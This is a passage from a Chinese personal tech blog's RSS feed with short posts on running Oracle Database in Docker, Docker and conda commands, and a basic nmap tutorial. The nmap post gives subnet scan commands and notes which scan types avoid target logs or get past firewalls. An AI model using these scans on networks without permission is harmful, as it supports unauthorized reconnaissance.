		</h2>
		<p style="margin-left:0cm;text-align:start;">
			可以使用查看数据库警报日志
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker logs
&lt;oracle-db&gt;
		</p>
		<p style="margin-left:0cm;text-align:start;">
			哪里&nbsp;是容器的名称
		</p>
		<h2 style="text-align:start;">
			重用现有数据库
		</h2>
		<p style="margin-left:0cm;text-align:start;">
			此Oracle数据库服务器映像使用Docker数据卷来存储数据文件，重做日志，审核日志，警报日志和跟踪文件。数据卷安装在容器内/ORCL。要使用docker run命令启动具有数据卷的数据库，
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker run
-d -it --name &lt;oracle-db&gt; -v OracleDBData:/ORCL
store/oracle/database-enterprise:12.2.0.1
		</p>
		<p style="margin-left:0cm;text-align:start;">
			OracleDBData是由Docker创建并安装在容器内的数据卷/ORCL。通过重用OracleDBData数据卷，可以将持久化数据文件与另一个容器重用。
		</p>
		<h2 style="text-align:start;">
			使用主机系统目录获取数据卷
		</h2>
		<p style="margin-left:0cm;text-align:start;">
			要在主机系统上使用数据卷的目录，
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker run
-d -it --name &lt;oracle-db&gt; -v /data/OracleDBData:/ORCL
store/oracle/database-enterprise:12.2.0.1
		</p>
		<p style="margin-left:0cm;text-align:start;">
			其中/data/OracleDBData是主机系统中的目录。
		</p>
		<h2 style="text-align:start;">
			Oracle数据库服务器12.2.0.1企业版超薄变体
		</h2>
		<p style="margin-left:0cm;text-align:start;">
			12.2.0.1-slimEE&nbsp;的Slim Variant（标签）减少了磁盘空间（4GB）的要求，并且可以更快地启动容器。此映像不支持以下功能 - Analytics，Oracle R，Oracle Label
Security，Oracle Text，Oracle
Application Express和Oracle DataVault。使用纤薄的变体
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker run
-d -it --name &lt;oracle-db&gt; store/oracle/database-enterprise:12.2.0.1-slim
		</p>
		<p style="margin-left:0cm;text-align:start;">
			其中&lt;oracle-db&gt;是容器的名称，12.2.0.1-slim是Docker图像标记。
		</p>
		<p class="MsoNormal">
			<br />
		</p>
		<p class="MsoNormal">
			<span></span>
		</p>
转自：<a href="https://hub.docker.com/u/zuoer/content/sub-bb69ea51-0dd8-4876-9c85-9a1c956148bd">https://hub.docker.com/u/zuoer/content/sub-bb69ea51-0dd8-4876-9c85-9a1c956148bd</a>
	</p>
</p>]]></description>
	<pubDate>Fri, 31 May 2019 14:38:56 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=46</guid>

</item>
<item>
	<title>docker 命令记录</title>
	<link>https://www.zuoer.xin/?post=45</link>
	<description><![CDATA[<p class="MsoNormal">
	<span>
<pre class="prettyprint lang-bsh linenums">1.   docker info
      docker ps -l
      docker kill fd3c0c622af6
      docker rm fd3c0c622af6
      docker image ls
      docker container ls
      docker ps

oracle 
 
2.   pull oracle database 12c (docker store)
 
3.   docker --version
 
4.   docker stop oracle-12cR1-ee
 
5.  docker start oracle-12cR1-ee
     docker exec -it oracle-12cR1-ee /bin/bash
     sqlplus system/oracle@//localhost:1521/orcl
6.   docker logs oracle-12cR1-ee
 
7.    docker logs -f oracle-12cR1-ee
 
8.   docker exec oracle ./setPassword.sh XXXXXX
#例如：docker exec -it oracle-12cR1-ee /bin/bash
 
9.   docker run -d -it --name &lt;oracle-db&gt; store/oracle/database-enterprise:12.2.0.1   启动Oracle数据库服务器
#例如：docker run -d -p 1521:1521 -p 9090:9090 --name oracle-12cR1-ee --privileged absolutapps/oracle-12c-ee
</pre>
<br />
</span>
</p>
<p class="MsoNormal">
	<span><br />
</span>
</p>
<p class="MsoNormal">
	<span><br />
</span>
</p>
<p class="MsoNormal">
	<span><br />
</span>
</p>
<p class="MsoNormal">
	<span><br />
</span>
</p>
<p class="MsoNormal">
	<span><br />
</span>
</p>
<p class="MsoNormal">
	<span>--------------------</span>
</p>
<p class="MsoNormal">
	<span></span>
</p>
<p class="MsoNormal">
	<span></span>
</p>
<p class="MsoNormal">
	会一点点记录点<span></span>
</p>]]></description>
	<pubDate>Fri, 31 May 2019 14:06:09 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=45</guid>

</item>
<item>
	<title>Anaconda 命令记录</title>
	<link>https://www.zuoer.xin/?post=44</link>
	<description><![CDATA[<div class="Post-RichTextContainer" style="overflow:visible;width:690px;margin:0px auto;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
</div>
<p>
	<p>
		<p>
			<h2 style="margin:2.33333em 0px 1.16667em;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:1.2em;line-height:1.5;font-family:inherit;clear:left;">
<pre class="prettyprint lang-js linenums">1.    conda --version

2.    conda update conda

3.    conda --help
or
conda -h

4.    rm -rf ~/anaconda2
or
rm -rf ~/anaconda3

5.    conda create --name python2 python=2.7 

6.    conda activate &lt;env_name&gt; (mac) 

7.    conda deactivate
.    
8.    conda info --envs
or
conda info -e
or
conda env list

9.    conda create --name &lt;new_env_name&gt; --clone &lt;copied_env_name&gt;

10.    conda remove --name &lt;env_name&gt; --all

11.    conda search --full-name &lt;package_full_name&gt;

12.    conda search &lt;text&gt;

13.    conda install --name &lt;env_name&gt; &lt;package_name&gt;

14.    conda remove --name &lt;env_name&gt; &lt;package_name&gt;

15.    conda remove &lt;package_name&gt;

16.    conda update --all
or
conda upgrade --all

17.    conda update &lt;package_name&gt;
or
conda upgrade &lt;package_name&gt;
</pre>
<br />
			</h2>
			<h2 style="margin:2.33333em 0px 1.16667em;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:1.2em;line-height:1.5;font-family:inherit;clear:left;">
				参考资料
			</h2>
			<ol style="padding:0px;margin:1.4em 0px 0px;display:table;counter-reset:ol 0;">
				<li style="list-style:none;display:table-row;">
					知乎“初学python者自学anaconda的正确姿势是什么？？”<a href="https://www.zhihu.com/question/58033789/answer/254673663?utm_source=wechat_session&amp;utm_medium=social" class="internal" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">猴子的回答</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/docs.anaconda.com/_downloads/Anaconda-Starter-Guide-Cheat-Sheet.pdf" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">Anaconda Cheat Sheet</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/www.anaconda.com/download/%23macos" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">Anaconda官方网站</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/conda.io/docs/" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">conda官方网站</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/en.wikipedia.org/wiki/Pip_%28package_manager%29%23External_links" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">pip维基百科</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/pip.pypa.io/en/stable/" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="color:#175199;text-decoration-line:none;cursor:pointer;border-bottom:1px solid #175199;">pip官方网站</a>
				</li>
				<li style="list-style:none;display:table-row;">
					YouTube视频：<a href="https://link.zhihu.com/?target=https%3A/www.youtube.com/watch%3Fv%3DRXLRIHaabaI" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">Pip vs Conda: Differences and Comparisons</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/virtualenv.pypa.io/en/stable/" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">virtualenv官方网站</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/docs.anaconda.com/anaconda/install/mac-os%23macos-graphical-install" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">macOS系统安装Anaconda的官方教程</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/docs.anaconda.com/anaconda/install/windows" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">Windows系统安装Anaconda的官方教程</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/docs.anaconda.com/anaconda/install/linux" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">Linux系统安装Anaconda的官方教程</a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/conda.io/docs/user-guide/getting-started.html%23managing-conda" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;">conda官方使用指南</a>
				</li>
				<div>
					<br />
				</div>
			</ol>
		</p>
	</p>
</p>
<p>
	<div class="Post-RichTextContainer" style="overflow:visible;width:690px;margin:0px auto;color:#1A1A1A;font-family:-apple-system, system-ui, &quot;font-size:medium;white-space:normal;background-color:#FFFFFF;">
		<div class="RichText ztext Post-RichText" style="word-break:break-word;line-height:1.6;margin-top:20px;">
			<h2 style="margin:2.33333em 0px 1.16667em;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:1.2em;line-height:1.5;font-family:inherit;clear:left;">
			</h2>
			<ol style="padding:0px;margin:1.4em 0px 0px;display:table;counter-reset:ol 0;">
				<li style="list-style:none;display:table-row;">
					<a href="https://www.zhihu.com/question/58033789/answer/254673663?utm_source=wechat_session&amp;utm_medium=social" class="internal" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/docs.anaconda.com/_downloads/Anaconda-Starter-Guide-Cheat-Sheet.pdf" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/www.anaconda.com/download/%23macos" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/conda.io/docs/" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/en.wikipedia.org/wiki/Pip_%28package_manager%29%23External_links" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/pip.pypa.io/en/stable/" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="color:#175199;text-decoration-line:none;cursor:pointer;border-bottom:1px solid #175199;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/www.youtube.com/watch%3Fv%3DRXLRIHaabaI" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/virtualenv.pypa.io/en/stable/" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/docs.anaconda.com/anaconda/install/mac-os%23macos-graphical-install" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/docs.anaconda.com/anaconda/install/windows" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/docs.anaconda.com/anaconda/install/linux" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<li style="list-style:none;display:table-row;">
					<a href="https://link.zhihu.com/?target=https%3A/conda.io/docs/user-guide/getting-started.html%23managing-conda" class=" wrap external" target="_blank" rel="nofollow noreferrer" data-za-detail-view-id="1043" style="text-decoration-line:none;cursor:pointer;border-bottom:1px solid grey;"></a>
				</li>
				<div>
					<br />
				</div>
			</ol>
		</div>
	</div>
</p>]]></description>
	<pubDate>Fri, 31 May 2019 13:48:47 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=44</guid>

</item>
<item>
	<title>nmap 基本使用</title>
	<link>https://www.zuoer.xin/?post=43</link>
	<description><![CDATA[<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;padding:0px;font-family:&quot;font-size:16px;color:#4F4F4F;line-height:26px;overflow-x:auto;white-space:normal;background-color:#FFFFFF;">
	<br />
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:12pt;font-family:宋体;">用<span lang="EN-US">nmap</span>对局域网扫描一遍，然后查看<span lang="EN-US">arp</span>缓存表就可以知道局域内<span lang="EN-US">ip</span>对应的<span lang="EN-US">mac</span>了。<span lang="EN-US">nmap</span>比较强大也可以直接扫描<span lang="EN-US">mac</span>地址和端口。执行扫描之后就可以<span lang="EN-US">&nbsp;cat /proc/net/arp</span>查看<span lang="EN-US">arp</span>缓存表了。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:12pt;font-family:宋体;">不进行<span lang="EN-US">ping</span>扫描，不对<span lang="EN-US">IP</span>进行域名反向解析，只设置<span lang="EN-US">TCP FIN</span>标志位。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">$&nbsp;nmap -Pn -n -sF 192.168.1.1/24&nbsp;<o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:12pt;font-family:宋体;">只进行<span lang="EN-US">ping</span>扫描，打印出对扫描做出响应的主机，不进行进一步检测：<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">$ nmap -sP 192.168.1.0/24<o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:12pt;font-family:宋体;">仅列出指定网络上的每台主机，不发送任何报文到目标主机：<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">$&nbsp;nmap -sL 192.168.1.0/24<o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:12pt;font-family:宋体;">探测目标主机开放的端口，使用TCP SYN扫描，不使用ICMP：<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">$&nbsp;nmap -PS <span lang="EN-US" style="font-family:宋体;font-size:16px;white-space:normal;">-p 22</span><span lang="EN-US" style="font-family:宋体;font-size:16px;white-space:normal;">,</span><span lang="EN-US" style="font-family:宋体;font-size:16px;white-space:normal;">80&nbsp;</span>192.168.1.234<o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:12pt;font-family:宋体;">使用<span lang="EN-US">UDP ping</span>探测主机：<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">$&nbsp;nmap -PU 192.168.1.0/24<o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">&nbsp;</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span style="font-size:12pt;font-family:宋体;">使用频率最高的扫描选项（<span lang="EN-US">SYN</span>扫描<span lang="EN-US">,</span>又称为半开放扫描），它不打开一个完全的<span lang="EN-US">TCP</span>连接，执行得很快：<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;">$&nbsp;nmap -sS 192.168.1.0/24<o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:12pt;font-family:宋体;"><br />
</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<br />
</p>
<p>
	<b style="font-family:DengXian;font-size:14px;white-space:normal;"><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:green;">0x 01&nbsp;</span></b><b style="font-family:DengXian;font-size:14px;white-space:normal;"><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:green;">扫描类型及参数</span></b> 
</p>
<p>
	<br />
</p>
<p>
	用法： nmap [扫描类型] [参数] 目标IP
</p>
<p>
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">1.&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">扫描类型</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-sT</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;TCP </span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">连接扫描，会在目标主机中记录大量的链接请求和错误信息</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-sS</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;SYN</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">扫描，只完成三次握手前两次，很少有系统记入日志，默认使用，需要<span lang="EN-US">root(admin)</span>权限</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-sP</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;Ping</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">扫描，默认使用，只有能<span lang="EN-US">Ping</span>得通才会继续扫描</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-P0</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">扫描之前不需要<span lang="EN-US">Ping</span>，用于绕过防火墙禁<span lang="EN-US">Ping</span>功能</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-sA</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">高级的扫描方式，用来穿过防火墙的规则集</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-sV</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">探测端口号版本</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-sU</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;UDP</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">扫描，扫描主机开启的<span lang="EN-US">UDP</span>的服务，速度慢，结果不可靠</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-Pn&nbsp;</span></b><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">不通过<span lang="EN-US">Ping</span>检测，直接认为该主机在线，进行进一步检测</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;"><strong>-sF</strong>&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">只设置<span lang="EN-US">TCP FIN</span>标志位。<span lang="EN-US">FIN</span>扫描不会在目标主机上创建日志<span lang="EN-US">,</span>容易漏扫</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;"><strong>-sX</strong>&nbsp;FIN</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">、<span lang="EN-US">PSH</span>和<span lang="EN-US">URG</span>的标识位</span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;"><strong>-sN</strong></span><span lang="EN-US" style="font-size:10.5pt;font-family:&quot;color:#555555;background:white;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">扫描不设置任何控制位</span> 
</p>
<p>
	<br />
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">2. </span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;color:maroon;">扫描参数</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-v</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">显示扫描过程，推荐使用</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
	<b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">-h</span></b><span lang="EN-US" style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">&nbsp;</span><span style="font-size:11.5pt;font-family:微软雅黑, sans-serif;">帮助文档</span><span lang="EN-US" style="font-size:12pt;font-family:宋体;"><o:p></o:p></span> 
</p>
<p class="MsoNormal" align="left" style="margin:0cm 0cm 0.0001pt;font-size:10.5pt;font-family:DengXian;white-space:normal;">
